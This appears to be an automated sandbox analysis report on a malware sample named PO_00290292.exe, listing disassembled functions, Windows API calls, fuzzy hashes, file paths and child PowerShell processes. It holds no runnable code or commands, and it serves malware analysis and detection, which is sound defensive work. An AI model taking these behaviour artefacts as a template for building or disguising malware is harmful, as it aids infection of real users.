String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini$practical
API String ID: 3109718747-2608176021
Opcode ID: 9674d1326f11f89bf23c926dc430aeadc8163c92e49c9a6a8ad153ff0b83bdff
Instruction ID: 4789cac02ba757069cd1743e95fa376523a080456913a55bd7acca95e4ec0b97
Opcode Fuzzy Hash: 9674d1326f11f89bf23c926dc430aeadc8163c92e49c9a6a8ad153ff0b83bdff
Instruction Fuzzy Hash: CA11E772A01204BADB10AFB18F4EE9E32659F54355F20403BF502F65C1DAFC8E51576E

Uniqueness

Uniqueness Score: -1.00%

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 6491dc860a80c02085eecb14b1266a63ebbf57ab5d60057a90a3d7af6463b562
Instruction ID: c287ee2e14a47dfcdc45124cadc9b4dd0eb33b5564dd8f2f51e592e83ba53e14
Opcode Fuzzy Hash: 6491dc860a80c02085eecb14b1266a63ebbf57ab5d60057a90a3d7af6463b562
Instruction Fuzzy Hash: 33F0E172600504AFD701DBE4DE88CEEBBBDEB48311B104476F541F51A1CA749D018B38

Uniqueness

Uniqueness Score: -1.00%

Function 00405B32 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004033A3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00405B38
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004033A3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00405B42
lstrcatW.KERNEL32(?,0040A014), ref: 00405B54

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B32

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction ID: 1c34604f245f66d13fb295c2dca74b2082213948d97efa3850964b8affffb698
Opcode Fuzzy Hash: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction Fuzzy Hash: 57D05E31101934AAC2116B448C04DDB73AC9E46304341442AF201B70A6C778695286FD

Uniqueness

Uniqueness Score: -1.00%

Function 00403C9D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(00000000,00429240), ref: 00403D35

Strings

"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 00403C9E
1033, xrefs: 00403CA1, 00403CAB, 00403D1C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$1033
API String ID: 530164218-4006631066
Opcode ID: bedfed58f119eb8cdc0f5f3cd8b3d6658457d0e8530e0efc389cee5297b0fc00
Instruction ID: 4786a0dcc4ba2f930af81554b1ec9cb86176e7a1d2ad565e9f211a7c6dcc4e6b
Opcode Fuzzy Hash: bedfed58f119eb8cdc0f5f3cd8b3d6658457d0e8530e0efc389cee5297b0fc00
Instruction Fuzzy Hash: 7111C331B44210ABD7359F15EC40A337B6CEF85715B28427BE801AB3A1C63A9D1296A9

Uniqueness

Uniqueness Score: -1.00%

Function 00405251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405280
CallWindowProcW.USER32(?,?,?,?), ref: 004052D1

Part of subcall function 0040428E: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A0

Strings

, xrefs: 00405261

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction ID: 35360b72f4910b777185a6264b25dc7760dbd7dc789205491e41d57b326ac1ec
Opcode Fuzzy Hash: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction Fuzzy Hash: 6B019E71210708ABDF208F11DD84E9B3A35EF94321F60443AFA00761D1C77A8D529E6A

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402EAD,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO_00290292.exe,C:\Users\user\Desktop\PO_00290292.exe,80000000,00000003), ref: 00405B84
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402EAD,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO_00290292.exe,C:\Users\user\Desktop\PO_00290292.exe,80000000,00000003), ref: 00405B94

Strings

C:\Users\user\Desktop, xrefs: 00405B7E

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction ID: 87bbc210c64b19a6b78a00595756172ded5dec919d443e3f73ce50da7c0279be
Opcode Fuzzy Hash: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction Fuzzy Hash: D4D05EB24009209AD312AB04DD00DAF77ACEF163007464426E841AB166D778BC8186BC

Uniqueness

Uniqueness Score: -1.00%

Function 00405CB8 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC8
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405CE0
CharNextA.USER32(00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CF1
lstrlenA.KERNEL32(00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CFA

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction ID: b09c91cad7c2282b041c35ea214dbdd3f15ee75aa50bf55fe933874c09a5e2ef
Opcode Fuzzy Hash: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction Fuzzy Hash: BFF0F631104954FFD702DFA5DD04E9FBBA8EF06350B2180BAE841F7210D674DE01ABA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6060, Parent PID: 5868COMMON

Executed Functions

Function 04C471E8 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9db48edc9d3837ec7b32227f01c35838f31667cda908cbbde336da1779d530d
Instruction ID: ae007106aa52ba5bdbb8965be4e0484d5410a9013e9d3042b85c31cd201dc8b9
Opcode Fuzzy Hash: e9db48edc9d3837ec7b32227f01c35838f31667cda908cbbde336da1779d530d
Instruction Fuzzy Hash: 4FC16C31A002088FDB14DFA9DA44AADBBB7FFC5314F158559E806AF365DB34AD49CB40

Uniqueness

Uniqueness Score: -1.00%

Function 04C429F0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8f03f39ea5f304000d5bd5ceeaba72abb9f539fca8f5ad4359275d803ff37a
Instruction ID: 19d7d79e120fd4175aaedfd67b911f6c8020eacbb9e46a918f3b87e94e20413a
Opcode Fuzzy Hash: cd8f03f39ea5f304000d5bd5ceeaba72abb9f539fca8f5ad4359275d803ff37a
Instruction Fuzzy Hash: 4691C1306002458FCB16CF58C595AAEFBB2FF89310B248699E855EB3A1C735FC81CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04C479B0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c71e15eb74cfb19dd589e9d000b384925c30e93b512b89a6e93ba5a0ac8f4ad
Instruction ID: dfd69bde0901c0c62d294293f672e61355b58a6c396c011490062615d3ef1d8b
Opcode Fuzzy Hash: 0c71e15eb74cfb19dd589e9d000b384925c30e93b512b89a6e93ba5a0ac8f4ad
Instruction Fuzzy Hash: 9771A230A01204CFCB18DF68C984A9DBBF6FF89314F14896AD416EB751DB71AD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04C47B1E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fecaac32f2ad717460cb654f06a1437d20bdf0d113d828a61f725a3368f4617
Instruction ID: c5088b35a28c106a365b6f7c84b9dbd00352912d397db5dce46b79fede2b72ae
Opcode Fuzzy Hash: 4fecaac32f2ad717460cb654f06a1437d20bdf0d113d828a61f725a3368f4617
Instruction Fuzzy Hash: D3714F70E012089FDB18DFA5D994AADBBF7FF88314F148429D416AB790DB34AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04C47741 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b37181e66aa19ee024094b83d99e2defad5aaa078e964bc5cea9dddc9455077b
Instruction ID: 508da0b532d21d9c164c9608b513a22af4d0ba1cda9c142a757a1ad0a298c8e8
Opcode Fuzzy Hash: b37181e66aa19ee024094b83d99e2defad5aaa078e964bc5cea9dddc9455077b
Instruction Fuzzy Hash: A3415C31A052048FD719EFA4C9586AD7BB7EFCD710F085468D446EB3A0CB34AC81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04C4799B Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae06a2f7e178a470cc662bbaed146cc3a6cbfc07815bd282892cb3243a7bad28
Instruction ID: 5f0178f735ba4111c582f2f69d081ac96a0c13411760d2d73fce3b5b7ad09f07
Opcode Fuzzy Hash: ae06a2f7e178a470cc662bbaed146cc3a6cbfc07815bd282892cb3243a7bad28
Instruction Fuzzy Hash: 2D419130A002088FDB18DFA9C994AADBBF6FFC9350F14846DD005AB795DB74AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1698772021.0000000000F3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9cf54ef5df4acf51563a6131ccc668b31f5d099e817c7f78059227d1ed0f4e0
Instruction ID: 6a281303c97e4a1be3a6f93ff92acd204b7194fa0df72b78d09361a0e27c7333
Opcode Fuzzy Hash: d9cf54ef5df4acf51563a6131ccc668b31f5d099e817c7f78059227d1ed0f4e0
Instruction Fuzzy Hash: 41012BB29043409FE7144E21EC84B67BBD8EF81B34F18C019EC480B146C3799841DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1698772021.0000000000F3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_f3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2594dfde6c082df636c274c77828fe8e862003ca515fb4c802a76a1539521d
Instruction ID: 5ab81dc514f7ec99d7d3668abe3b5753bc7755018cfcd43bbbc2453862eab981
Opcode Fuzzy Hash: 6c2594dfde6c082df636c274c77828fe8e862003ca515fb4c802a76a1539521d
Instruction Fuzzy Hash: A701696240E3C09FE7128B259C94B52BFB4DF43624F1980DBD8888F1A7C2699848CB72

Uniqueness

Uniqueness Score: -1.00%

Function 04C476D5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1699834529.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c53e2980adea665eec0ae74256c50a603c0801dc9eb0bfdfa3212152ca16f95d
Instruction ID: 14b9eecbc216986744e085925a078b860669c04bb47b5dbaac2ce0b584e43dba
Opcode Fuzzy Hash: c53e2980adea665eec0ae74256c50a603c0801dc9eb0bfdfa3212152ca16f95d
Instruction Fuzzy Hash: DAF01C3070030A8FEB08DBA4C595BAE77B2ABC4704F148924E5029F255CB7CA9499F80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7224, Parent PID: 6060COMMON

Executed Functions

Function 075C9F60 Relevance: 9.4, Strings: 7, Instructions: 600COMMON

Download Yara Rule

Strings

_, xrefs: 075CA1DB
84l, xrefs: 075CA025
84l, xrefs: 075CA2AD
84l, xrefs: 075CA359
84l, xrefs: 075CA2A3
84l, xrefs: 075CA019
84l, xrefs: 075CA34D

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: 84l$84l$84l$84l$84l$84l$_
API String ID: 0-1999844729
Opcode ID: db638a59f18502be0c6d8c61b78bb9a01c1c13542676fa7b442ccf0f0dded009
Instruction ID: 3e0efd9af09eb1a0287b376aad9d671c3d1ba88f92ff2e16ad94173f16a0d0ba
Opcode Fuzzy Hash: db638a59f18502be0c6d8c61b78bb9a01c1c13542676fa7b442ccf0f0dded009
Instruction Fuzzy Hash: 6F22B4B1B00219DFDB15DBA888117AABBF6FB89610F24C45EE905AB341DB32DD41C791

Uniqueness

Uniqueness Score: -1.00%

Function 075C28D0 Relevance: 3.9, Strings: 2, Instructions: 1389COMMON

Download Yara Rule

Strings

(fl, xrefs: 075C3E3E
(fl, xrefs: 075C3E34

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl
API String ID: 0-1194790885
Opcode ID: 21f95be14c1f3267fe8ae9a94886f002d593bc56d4eecc9a16bf995a20f84e4a
Instruction ID: 021a7a2ba1480642c1f4727956fd4e1d638704b6d7396a5fa23bbd102eaad5bf
Opcode Fuzzy Hash: 21f95be14c1f3267fe8ae9a94886f002d593bc56d4eecc9a16bf995a20f84e4a
Instruction Fuzzy Hash: 14C27DB0B00209DFD714DB98C951BAAB7B2BF85714F24C06AD905AF751CB72DC81CB92

Uniqueness

Uniqueness Score: -1.00%

Function 075C8C38 Relevance: 3.2, Strings: 2, Instructions: 665COMMON

Download Yara Rule

Strings

4l, xrefs: 075C8E65
4l, xrefs: 075C8E6F

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: 4l$4l
API String ID: 0-2351638723
Opcode ID: d4aa34a7f685c8e0641c1a4e5c9793c9bc84f40abf9b2107c2eacc100ad240fe
Instruction ID: e7ea27aad863c77dc6399d34f420eb371071bca410373dc577416ddff04d98d9
Opcode Fuzzy Hash: d4aa34a7f685c8e0641c1a4e5c9793c9bc84f40abf9b2107c2eacc100ad240fe
Instruction Fuzzy Hash: 3D529EB4A10214DFD724CB58C940BE9B7B2BF88704F24849AD9096F751CBB6ED82CF91

Uniqueness

Uniqueness Score: -1.00%

Function 075C4280 Relevance: 2.9, Strings: 2, Instructions: 373COMMON

Download Yara Rule

Strings

(fl, xrefs: 075C43AB
(fl, xrefs: 075C43A1

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl
API String ID: 0-1194790885
Opcode ID: 4a08a874a72691cbe297b07f7b3fdfe1748474336b2076196ebdac8e7f345f4c
Instruction ID: 9dd8c692f5a7e43055141fc9193eb35545752eeb36f3cf23bf46b3b03304d63f
Opcode Fuzzy Hash: 4a08a874a72691cbe297b07f7b3fdfe1748474336b2076196ebdac8e7f345f4c
Instruction Fuzzy Hash: A6E19EB0A00245DFDB14DBA8C565FAEBBB2BF89704F20842AD9016F755CB75EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 075C3BD1 Relevance: 1.7, Strings: 1, Instructions: 476COMMON

Download Yara Rule

Strings

(fl, xrefs: 075C3E34

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: (fl
API String ID: 0-423539152
Opcode ID: 611e054439d6af6834ce2f99d0310b9931200af6c29d8fca31ec92321c21848a
Instruction ID: 772667c6aa62bbfb3653e3bb9b6a280b2b7b2c24756a5f48400fcee375eba2cc
Opcode Fuzzy Hash: 611e054439d6af6834ce2f99d0310b9931200af6c29d8fca31ec92321c21848a
Instruction Fuzzy Hash: 4B124BB4A11209DFE714CB98C580FAABBB2BF84714F14C05AE9056F751C772EC81CB92

Uniqueness

Uniqueness Score: -1.00%

Function 075C4262 Relevance: 1.6, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

(fl, xrefs: 075C43A1

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: (fl
API String ID: 0-423539152
Opcode ID: 9087f9e78549c4728ec2cb1125ea6530f95145aa8a69a614140ddcd171a86d6b
Instruction ID: fd0530d52c0163b356e22112a34f90fcc0c4db9891d56a37742d08a9ee82745c
Opcode Fuzzy Hash: 9087f9e78549c4728ec2cb1125ea6530f95145aa8a69a614140ddcd171a86d6b
Instruction Fuzzy Hash: D4C1DCB4A002459FDB14CB98C561FEEBBB2BF89300F24C01AE9016F755CB71E882CB51

Uniqueness

Uniqueness Score: -1.00%

Function 075C9F45 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

84l, xrefs: 075CA019

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: 84l
API String ID: 0-1480273888
